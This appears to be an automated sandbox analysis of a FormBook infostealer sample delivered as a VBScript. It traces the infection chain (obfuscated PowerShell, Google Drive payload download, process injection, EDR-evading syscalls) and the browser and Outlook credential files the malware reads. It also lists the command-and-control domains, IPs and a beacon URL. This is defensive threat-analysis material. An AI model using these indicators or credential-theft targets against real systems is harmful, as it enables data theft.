Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 00000012.00000002.2595491228.0000000002250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2595044684.00000000029A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2595118145.00000000029E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2595680421.00000000055C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2593836346.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2249433724.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\replace.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\replace.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 00000012.00000002.2595491228.0000000002250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2595044684.00000000029A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2595118145.00000000029E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2595680421.00000000055C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2593836346.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2249433724.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1430770 Sample: 1000901 LIQUIDACION.vbs Startdate: 24/04/2024 Architecture: WINDOWS Score: 100 53 www.webwheelsmedia.com 2->53 55 www.dhleba51.ru 2->55 57 3 other IPs or domains 2->57 71 Malicious sample detected (through community Yara rule) 2->71 73 Antivirus detection for URL or domain 2->73 75 Yara detected FormBook 2->75 77 3 other signatures 2->77 12 wscript.exe 1 2->12         started        15 wab.exe 1 2->15         started        17 wab.exe 3 1 2->17         started        19 rundll32.exe 2->19         started        signatures3 process4 signatures5 93 VBScript performs obfuscated calls to suspicious functions 12->93 95 Suspicious powershell command line found 12->95 97 Wscript starts Powershell (via cmd or directly) 12->97 99 3 other signatures 12->99 21 powershell.exe 14 19 12->21         started        process6 dnsIp7 59 drive.google.com 142.250.101.100, 443, 49706, 49712 GOOGLEUS United States 21->59 61 drive.usercontent.google.com 142.251.2.132, 443, 49707, 49713 GOOGLEUS United States 21->61 79 Suspicious powershell command line found 21->79 81 Very long command line found 21->81 83 Found suspicious powershell code related to unpacking or dynamic code loading 21->83 25 powershell.exe 17 21->25         started        28 conhost.exe 21->28         started        30 cmd.exe 1 21->30         started        signatures8 process9 signatures10 85 Writes to foreign memory regions 25->85 87 Found suspicious powershell code related to unpacking or dynamic code loading 25->87 32 wab.exe 6 25->32         started        35 cmd.exe 1 25->35         started        37 wab.exe 25->37         started        39 wab.exe 25->39         started        process11 signatures12 67 Maps a DLL or memory area into another process 32->67 41 MSHXUddoGk.exe 32->41 injected process13 signatures14 89 Maps a DLL or memory area into another process 41->89 91 Found direct / indirect Syscall (likely to bypass EDR) 41->91 44 replace.exe 1 13 41->44         started        process15 signatures16 101 Tries to steal Mail credentials (via file / registry access) 44->101 103 Tries to harvest and steal browser information (history, passwords, etc) 44->103 105 Modifies the context of a thread in another process (thread injection) 44->105 107 2 other signatures 44->107 47 MSHXUddoGk.exe 44->47 injected 51 firefox.exe 44->51         started        process17 dnsIp18 63 webwheelsmedia.com 162.241.253.78, 49715, 80 UNIFIEDLAYER-AS-1US United States 47->63 65 www.dhleba51.ru 195.24.68.5, 49716, 49717, 49718 RU-CENTERRU Russian Federation 47->65 69 Found direct / indirect Syscall (likely to bypass EDR) 47->69 signatures19
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
162.241.253.78
 webwheelsmedia.com United States
46606 UNIFIEDLAYER-AS-1US false
195.24.68.5
 www.dhleba51.ru Russian Federation
48287 RU-CENTERRU false
142.251.2.132
 drive.usercontent.google.com United States
15169 GOOGLEUS false
142.250.101.100
 drive.google.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
webwheelsmedia.com 162.241.253.78 true
www.dhleba51.ru 195.24.68.5 true
drive.google.com 142.250.101.100 true
drive.usercontent.google.com 142.251.2.132 true
www.webwheelsmedia.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.webwheelsmedia.com/im2z/?_Ny4=z4HNqRUNVhKU+Qtv1eU7JRxQK/gynbhJk0uSl0XlGEkve/f45BAiGTLGfSdewEtjJuikjLVXYXf/hVlacLZbmvfCaC2wD3OuQ9Qp/Q6XbR8wDKz6gQ==&B6H=rZ8dY false
  • Avira URL Cloud: safe
 unknown
http://www.dhleba51.ru/im2z/ false
  • 0%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown